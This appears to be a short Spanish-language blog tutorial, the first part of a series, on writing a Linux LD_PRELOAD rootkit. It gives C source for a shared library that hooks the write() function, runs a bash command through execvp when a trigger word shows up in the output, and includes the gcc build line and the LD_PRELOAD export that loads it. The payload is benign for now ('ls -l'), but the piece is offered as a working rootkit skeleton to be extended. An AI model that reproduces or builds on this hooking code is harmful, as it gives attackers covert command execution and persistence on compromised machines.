Rootkit Linux

2 minute read

  2 minute read

Mini tutorial de idea para crear un rootkit para linux

La idea principal es crear una biblioteca compartida en C para suplantar la funcion write del sistema. Utilizando LD_PRELOAD que contiene una lista de objetos compartidos ELF especificados por el usuario.

Permite a los usuarios cargar estos objetos compartidos en el espacio de direcciones de un proceso antes que cualquier otra biblioteca compartida y antes de la ejecución del programa en sí.

Sinopsis

export LD_PRELOAD=/path/to/candy.so:$LD_PRELOAD

Sinopsis de write

#include <unistd.h>

ssize_t write(int fd, const void *buf, size_t count); 

Descripcion

Escribe hasta count bytes desde el buffet almacenando buf en el archivo al que hace referencia el descriptor de archivo fd.

También utilizaremos la función dlsym() para realizar una búsqueda de símbolo. El cual sería la función write en la biblioteca compartida especificada por RTLD_NEXT el cual indica que se debe buscar en la siguiente biblioteca compartida la lista de carga.

Puntero a Función

Todas las funciones de C están en punteros de actualidad a un punto en la memoria del programa donde existe algún código. El uso principal de un puntero de función es proporcionar una “devolución de llamada” a otras funciones (o para simular clases y objetos).

La sintaxis de una función es:

returnType (* nombre) (parámetros)

Codigo

// Autor  : @demon_rip
// Nombre : candy

#include <dlfcn.h>
#include <stdio.h>
#include <unistd.h>

ssize_t write(int fildes, const void *buf, size_t nbytes) {
  // Puntera a  la  funcion   _write_
  ssize_t (*new_write)(int fildes, const void *buf, size_t nbytes);
  ssize_t result;
  //  Optenemos la direcion de  la  funcion  _write_ origina 
  new_write = (ssize_t(*)(int, const void *, size_t))dlsym(RTLD_NEXT, "write");

  // Buscar la palabra "command" en el buffer
  if (strstr((const char*)buf, "command") != NULL) { 
    // result = nbytes;
    char *args[] = {"/bin/bash", "-c", "ls -l", NULL};
    execvp(args[0],args);
  } else {
    result = new_write(fildes, buf, nbytes);
  }
  return result;
}

Nota: No se puede buscar en la condicion un comando que exista en /bin ya veremos como en proccimo capitulo.

Este programa reacionara al intentar ejecutar un comando que no exista . Cualquir.

Compilación

gcc -ldl candy.c -fPIC -shared -D_GNU_SOURCE -o candy.so 

-ldl : Esto enlaza la biblioteca dinámica (libdl). La biblioteca libdl proporciona funciones para cargar dinámicamente bibliotecas compartidas en tiempo de ejecución.

-fPIC: Esta opción genera código independiente de la posición (Position Independent Code). Es necesario para crear bibliotecas compartidas para que el código generado pueda ser utilizado en cualquier dirección de memoria.

-shared: Esta opción indica que se debe crear una biblioteca compartida en lugar de un ejecutable. Las bibliotecas compartidas son archivos que pueden ser cargados en tiempo de ejecución por otros programas.

-D_GNU_SOURCE: Define la macro GNU_SOURCE. Esta macro habilita características y extensiones específicas de GNU en las bibliotecas estándar de C. Es útil para utilizar funciones y características adicionales que no están disponibles en el estándar ANSI C.

Créditos

A @ivam3 por el cual obtuve una face beta de este código.

Fecha: